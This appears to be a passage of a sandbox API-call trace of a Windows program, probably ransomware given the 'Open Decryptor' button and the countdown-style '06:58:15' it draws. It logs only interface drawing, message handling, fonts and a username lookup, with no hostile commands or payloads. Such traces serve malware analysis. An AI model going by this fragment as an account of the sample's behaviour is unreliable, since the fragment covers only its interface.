0x8a01c2 [0173.713] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1e010742) returned 0x0 [0173.713] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0173.713] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0173.713] GdipGetTextRenderingHint (graphics=0x6924ef8, mode=0x19e788) returned 0x0 [0173.713] GdipGetDC (graphics=0x6924ef8, hdc=0x19e774) returned 0x0 [0173.713] GetCurrentObject (hdc=0x1e010742, type=0x1) returned 0xb00017 [0173.713] GetCurrentObject (hdc=0x1e010742, type=0x2) returned 0x900010 [0173.713] GetCurrentObject (hdc=0x1e010742, type=0x7) returned 0x8050721 [0173.713] GetCurrentObject (hdc=0x1e010742, type=0x6) returned 0x8a01c2 [0173.714] SaveDC (hdc=0x1e010742) returned 1 [0173.714] GetTextAlign (hdc=0x1e010742) returned 0x0 [0173.714] GetTextColor (hdc=0x1e010742) returned 0x0 [0173.714] GetCurrentObject (hdc=0x1e010742, type=0x6) returned 0x8a01c2 [0173.714] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0173.714] SelectObject (hdc=0x1e010742, h=0x4f0a0711) returned 0x8a01c2 [0173.714] GetBkMode (hdc=0x1e010742) returned 2 [0173.714] SetBkMode (hdc=0x1e010742, mode=1) returned 2 [0173.714] DrawTextExW (in: hdc=0x1e010742, lpchText="06:58:15", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x306f3c8 | out: lpchText="06:58:15", lprc=0x19e708) returned 50 [0173.715] RestoreDC (hdc=0x1e010742, nSavedDC=-1) returned 1 [0173.715] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1e010742) returned 0x0 [0173.715] GdipGetDC (graphics=0x6924ef8, hdc=0x19e924) returned 0x0 [0173.715] BitBlt (hdc=0x10105d6, x=0, y=0, cx=154, cy=50, hdcSrc=0x1e010742, x1=0, y1=0, rop=0xcc0020) returned 1 [0173.715] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1e010742) returned 0x0 [0173.715] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0173.715] SelectObject (hdc=0x1e010742, h=0x85000f) returned 0x8050721 [0173.715] DeleteDC (hdc=0x1e010742) returned 1 [0173.715] GdipDeleteGraphics (graphics=0x6924ef8) returned 0x0 [0173.716] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0173.716] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0173.716] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0173.716] WaitMessage () returned 1 [0173.924] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0173.924] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0173.924] IsWindowUnicode (hWnd=0x30212) returned 1 [0173.924] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0173.924] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0173.925] SetCursor (hCursor=0x10003) returned 0x10003 [0173.925] TranslateMessage (lpMsg=0x19ee78) returned 0 [0173.925] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0173.925] GetKeyState (nVirtKey=1) returned 0 [0173.925] GetKeyState (nVirtKey=2) returned 0 [0173.925] GetKeyState (nVirtKey=4) returned 0 [0173.925] GetKeyState (nVirtKey=5) returned 0 [0173.925] GetKeyState (nVirtKey=6) returned 0 [0173.925] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0173.925] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0173.925] WaitMessage () returned 1 [0174.005] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.005] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0174.005] IsWindowUnicode (hWnd=0x30212) returned 1 [0174.005] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.005] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0174.005] GetDlgItem (hDlg=0x8004e, nIDDlgItem=0) returned 0x0 [0174.005] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x201, lParam=0x1540043) returned 0x0 [0174.006] GetDlgItem (hDlg=0x1023e, nIDDlgItem=0) returned 0x0 [0174.006] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x210, wParam=0x201, lParam=0x1b30043) returned 0x0 [0174.006] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0174.006] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0174.006] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0174.006] SetCursor (hCursor=0x10003) returned 0x10003 [0174.006] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.006] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.006] GetKeyState (nVirtKey=1) returned -127 [0174.006] GetKeyState (nVirtKey=2) returned 0 [0174.006] GetKeyState (nVirtKey=4) returned 0 [0174.006] GetKeyState (nVirtKey=5) returned 0 [0174.006] GetKeyState (nVirtKey=6) returned 0 [0174.006] IsWindowVisible (hWnd=0x30212) returned 1 [0174.006] IsWindowEnabled (hWnd=0x30212) returned 1 [0174.006] SetFocus (hWnd=0x30212) returned 0x30212 [0174.007] GetFocus () returned 0x30212 [0174.007] GetFocus () returned 0x30212 [0174.007] GetFocus () returned 0x30212 [0174.007] GetKeyState (nVirtKey=1) returned -127 [0174.007] GetKeyState (nVirtKey=2) returned 0 [0174.007] GetKeyState (nVirtKey=4) returned 0 [0174.007] GetKeyState (nVirtKey=5) returned 0 [0174.007] GetKeyState (nVirtKey=6) returned 0 [0174.007] GetCapture () returned 0x0 [0174.007] SetCapture (hWnd=0x30212) returned 0x0 [0174.007] GetKeyState (nVirtKey=1) returned -127 [0174.007] GetKeyState (nVirtKey=2) returned 0 [0174.007] GetKeyState (nVirtKey=4) returned 0 [0174.007] GetKeyState (nVirtKey=5) returned 0 [0174.007] GetKeyState (nVirtKey=6) returned 0 [0174.007] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0174.007] InvalidateRect (hWnd=0x30212, lpRect=0x19eaa0, bErase=0) returned 1 [0174.007] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.007] IsWindowUnicode (hWnd=0x30212) returned 1 [0174.007] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.008] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.008] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.008] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x306f4a8, cPoints=0x1 | out: lpPoints=0x306f4a8) returned 36176186 [0174.008] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0174.008] InvalidateRect (hWnd=0x30212, lpRect=0x19ea40, bErase=0) returned 1 [0174.008] UpdateWindow (hWnd=0x30212) returned 1 [0174.008] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e558 | out: lpPaint=0x19e558) returned 0x1b010670 [0174.008] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.008] CreateCompatibleDC (hdc=0x1b010670) returned 0x1f010742 [0174.008] SelectObject (hdc=0x1f010742, h=0x8050721) returned 0x85000f [0174.008] GdipCreateFromHDC (hdc=0x1f010742, graphics=0x19e570) returned 0x0 [0174.009] GdipTranslateWorldTransform (graphics=0x6924ef8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0174.009] GdipSetClipRectI (graphics=0x6924ef8, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0174.009] GdipCreateMatrix (matrix=0x19e5b8) returned 0x0 [0174.009] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6920828) returned 0x0 [0174.009] GdipIsMatrixIdentity (matrix=0x6920828, result=0x19e5d0) returned 0x0 [0174.009] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0174.009] GdipGetMatrixElements (matrix=0x6920828, matrixOut=0xf75bb0) returned 0x0 [0174.009] LocalFree (hMem=0xf75bb0) returned 0x0 [0174.009] GdipDeleteMatrix (matrix=0x6920828) returned 0x0 [0174.009] GdipCreateRegion (region=0x19e5b8) returned 0x0 [0174.009] GdipGetClip (graphics=0x6924ef8, region=0x69251d8) returned 0x0 [0174.009] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e5c4) returned 0x0 [0174.009] GdipSaveGraphics (graphics=0x6924ef8, state=0x19e5f0) returned 0x0 [0174.009] GdipRestoreGraphics (graphics=0x6924ef8, state=0xfd0a0dbd) returned 0x0 [0174.009] GdipDeleteRegion (region=0x69251d8) returned 0x0 [0174.009] GdipGetDC (graphics=0x6924ef8, hdc=0x19e3a0) returned 0x0 [0174.009] GetCurrentObject (hdc=0x1f010742, type=0x1) returned 0xb00017 [0174.010] GetCurrentObject (hdc=0x1f010742, type=0x2) returned 0x900010 [0174.010] GetCurrentObject (hdc=0x1f010742, type=0x7) returned 0x8050721 [0174.010] GetCurrentObject (hdc=0x1f010742, type=0x6) returned 0x8a01c2 [0174.010] SaveDC (hdc=0x1f010742) returned 1 [0174.010] GetNearestColor (hdc=0x1f010742, color=0x323533) returned 0x323533 [0174.010] GetNearestColor (hdc=0x1f010742, color=0x111111) returned 0x111111 [0174.010] GetNearestColor (hdc=0x1f010742, color=0x0) returned 0x0 [0174.010] GetNearestColor (hdc=0x1f010742, color=0x868c88) returned 0x868c88 [0174.010] GetNearestColor (hdc=0x1f010742, color=0x6994f5) returned 0x6994f5 [0174.010] GetNearestColor (hdc=0x1f010742, color=0x969c98) returned 0x969c98 [0174.010] GetNearestColor (hdc=0x1f010742, color=0x868c88) returned 0x868c88 [0174.010] GetNearestColor (hdc=0x1f010742, color=0x3c3f3d) returned 0x3c3f3d [0174.010] GetNearestColor (hdc=0x1f010742, color=0x6994f5) returned 0x6994f5 [0174.010] RestoreDC (hdc=0x1f010742, nSavedDC=-1) returned 1 [0174.011] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1f010742) returned 0x0 [0174.011] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x4f0a0711 [0174.011] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e25c, format=0x102415, lpdtp=0x306f994 | out: lpchText="Open Decryptor", lprc=0x19e25c) returned 60 [0174.011] GdipCreateRegion (region=0x19e2e4) returned 0x0 [0174.011] GdipGetClip (graphics=0x6924ef8, region=0x69251d8) returned 0x0 [0174.011] GdipCreateMatrix (matrix=0x19e2e4) returned 0x0 [0174.011] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6915f08) returned 0x0 [0174.011] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e2fc) returned 0x0 [0174.011] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.011] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0174.012] LocalFree (hMem=0xf75c20) returned 0x0 [0174.012] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.012] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0174.012] LocalFree (hMem=0xf75c20) returned 0x0 [0174.012] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0174.012] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e324) returned 0x0 [0174.012] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e314) returned 0x0 [0174.012] GdipGetRegionHRgn (region=0x69251d8, graphics=0x6924ef8, hRgn=0x19e314) returned 0x0 [0174.012] GdipDeleteRegion (region=0x69251d8) returned 0x0 [0174.012] GdipGetDC (graphics=0x6924ef8, hdc=0x19e32c) returned 0x0 [0174.012] GetCurrentObject (hdc=0x1f010742, type=0x1) returned 0xb00017 [0174.012] GetCurrentObject (hdc=0x1f010742, type=0x2) returned 0x900010 [0174.012] GetCurrentObject (hdc=0x1f010742, type=0x7) returned 0x8050721 [0174.012] GetCurrentObject (hdc=0x1f010742, type=0x6) returned 0x8a01c2 [0174.012] SaveDC (hdc=0x1f010742) returned 1 [0174.012] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3404070e [0174.012] GetClipRgn (hdc=0x1f010742, hrgn=0x3404070e) returned 0 [0174.013] SelectClipRgn (hdc=0x1f010742, hrgn=0x10406fe) returned 2 [0174.013] DeleteObject (ho=0x3404070e) returned 1 [0174.013] DeleteObject (ho=0x10406fe) returned 1 [0174.013] OffsetViewportOrgEx (in: hdc=0x1f010742, x=0, y=0, lppt=0x306fb84 | out: lppt=0x306fb84) returned 1 [0174.013] GetNearestColor (hdc=0x1f010742, color=0x3c3f3d) returned 0x3c3f3d [0174.013] CreateSolidBrush (color=0x3c3f3d) returned 0x3f10073a [0174.013] FillRect (hDC=0x1f010742, lprc=0x19e330, hbr=0x3f10073a) returned 1 [0174.013] DeleteObject (ho=0x3f10073a) returned 1 [0174.013] RestoreDC (hdc=0x1f010742, nSavedDC=-1) returned 1 [0174.013] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1f010742) returned 0x0 [0174.013] GdipGetTextRenderingHint (graphics=0x6924ef8, mode=0x19e3a8) returned 0x0 [0174.013] GdipGetDC (graphics=0x6924ef8, hdc=0x19e394) returned 0x0 [0174.013] GetCurrentObject (hdc=0x1f010742, type=0x1) returned 0xb00017 [0174.013] GetCurrentObject (hdc=0x1f010742, type=0x2) returned 0x900010 [0174.013] GetCurrentObject (hdc=0x1f010742, type=0x7) returned 0x8050721 [0174.013] GetCurrentObject (hdc=0x1f010742, type=0x6) returned 0x8a01c2 [0174.014] SaveDC (hdc=0x1f010742) returned 1 [0174.014] GetTextAlign (hdc=0x1f010742) returned 0x0 [0174.014] GetTextColor (hdc=0x1f010742) returned 0x0 [0174.014] SetTextColor (hdc=0x1f010742, color=0x6994f5) returned 0x0 [0174.014] GetCurrentObject (hdc=0x1f010742, type=0x6) returned 0x8a01c2 [0174.014] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e0dc | out: pv=0x19e0dc) returned 92 [0174.015] SelectObject (hdc=0x1f010742, h=0x110a0722) returned 0x8a01c2 [0174.015] GetBkMode (hdc=0x1f010742) returned 2 [0174.015] SetBkMode (hdc=0x1f010742, mode=1) returned 2 [0174.015] DrawTextExW (in: hdc=0x1f010742, lpchText="Open Decryptor", cchText=14, lprc=0x19e1c4, format=0x102415, lpdtp=0x306fe40 | out: lpchText="Open Decryptor", lprc=0x19e1c4) returned 60 [0174.016] DrawTextExW (in: hdc=0x1f010742, lpchText="Open Decryptor", cchText=14, lprc=0x19e328, format=0x102015, lpdtp=0x306fe40 | out: lpchText="Open Decryptor", lprc=0x19e328) returned 60 [0174.016] RestoreDC (hdc=0x1f010742, nSavedDC=-1) returned 1 [0174.016] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1f010742) returned 0x0 [0174.016] GetFocus () returned 0x30212 [0174.017] GetFocus () returned 0x30212 [0174.017] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e42c) returned 0x0 [0174.017] GdipDrawRectangleI (graphics=0x6924ef8, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0174.017] GdipDeletePen (pen=0x6915e78) returned 0x0 [0174.017] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e410) returned 0x0 [0174.017] GdipDrawRectangleI (graphics=0x6924ef8, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0174.017] GdipDeletePen (pen=0x6915e78) returned 0x0 [0174.017] GdipGetDC (graphics=0x6924ef8, hdc=0x19e5b0) returned 0x0 [0174.017] BitBlt (hdc=0x1b010670, x=0, y=0, cx=178, cy=111, hdcSrc=0x1f010742, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.018] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1f010742) returned 0x0 [0174.018] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.018] SelectObject (hdc=0x1f010742, h=0x85000f) returned 0x8050721 [0174.018] DeleteDC (hdc=0x1f010742) returned 1 [0174.018] GdipDeleteGraphics (graphics=0x6924ef8) returned 0x0 [0174.018] EndPaint (hWnd=0x30212, lpPaint=0x19e554) returned 1 [0174.018] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x306fec4, cPoints=0x1 | out: lpPoints=0x306fec4) returned 36176186 [0174.018] WindowFromPoint (Point=0x174) returned 0x30212 [0174.018] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0174.019] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0174.019] NotifyWinEvent (event=0x800c, hwnd=0x30212, idObject=-4, idChild=0) [0174.019] GetUserNameW (in: lpBuffer=0x19e704, pcbBuffer=0x19e97c | out: lpBuffer="FD1HVy", pcbBuffer=0x19e97c) returned 1 [0174.020] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.020] AdjustWindowRectEx (in: lpRect=0x19e91c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x19e91c) returned 1 [0174.021] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.021] AdjustWindowRectEx (in: lpRect=0x19e458, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e458) returned 1 [0174.021] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.021] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0174.022] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.022] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0174.022] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.022] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0174.022] GetDC (hWnd=0x0) returned 0x60100ce [0174.022] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e340) returned 0x0 [0174.023] GdipGetFontHeight (font=0x57fef48, graphics=0x6924e88, height=0x19e338) returned 0x0 [0174.023] GdipDeleteGraphics (graphics=0x6924e88) returned 0x0 [0174.023] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0174.023] GetSystemMetrics (nIndex=5) returned 1 [0174.023] GetSystemMetrics (nIndex=6) returned 1 [0174.023] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.023] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e468) returned 1 [0174.024] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.024] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0174.024] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.024] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e468) returned 1 [0174.025] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.025] AdjustWindowRectEx (in: lpRect=0x19e470, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e470) returned 1 [0174.025] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.025] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0174.025] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.025] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0174.026] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.026] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0174.026] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0174.026] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x30717cc) returned 0x0 [0174.026] GdipGetFontSize (font=0x691c6f8, size=0x30717d0) returned 0x0 [0174.026] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.027] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.027] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.027] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.027] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0174.027] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41640000, style=0, unit=0x3, font=0x3071a40) returned 0x0 [0174.027] GdipGetFontSize (font=0x691c720, size=0x3071a44) returned 0x0 [0174.028] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.028] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.028] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.028] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.028] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0174.028] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3071ce4) returned 0x0 [0174.028] GdipGetFontSize (font=0x691c748, size=0x3071ce8) returned 0x0 [0174.029] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.029] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.029] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.029] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.030] IsAppThemed () returned 0x1 [0174.030] GetThemeAppProperties () returned 0x3 [0174.030] GetThemeAppProperties () returned 0x3 [0174.030] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.031] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.031] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.031] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.031] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0174.031] GdipCreateFont (fontFamily=0x57faee0, emSize=0x42100000, style=3, unit=0x3, font=0x3072254) returned 0x0 [0174.031] GdipGetFontSize (font=0x691c838, size=0x3072258) returned 0x0 [0174.032] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.032] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.032] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.033] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.033] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0174.033] GdipCreateFont (fontFamily=0x57faee0, emSize=0x417c0000, style=1, unit=0x3, font=0x3072524) returned 0x0 [0174.033] GdipGetFontSize (font=0x691cbd0, size=0x3072528) returned 0x0 [0174.034] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.034] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0174.034] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.034] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0174.102] GdipLoadImageFromStream (stream=0x2a2fe70, image=0x19de80) returned 0x0 [0174.103] GdipImageForceValidation (image=0x6924e88) returned 0x0 [0174.104] GdipGetImageType (image=0x6924e88, type=0x19de7c) returned 0x0 [0174.104] GdipGetImageRawFormat (image=0x6924e88, format=0x19ddf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0174.104] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.104] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0174.105] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.105] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0174.105] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0174.105] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41900000, style=1, unit=0x3, font=0x30779f8) returned 0x0 [0174.105] GdipGetFontSize (font=0x691ca40, size=0x30779fc) returned 0x0 [0174.105] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.105] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.106] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.106] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0174.106] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.106] AdjustWindowRectEx (in: lpRect=0x19e418, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e418) returned 1 [0174.106] GetSystemMetrics (nIndex=59) returned 1460 [0174.106] GetSystemMetrics (nIndex=60) returned 920 [0174.106] 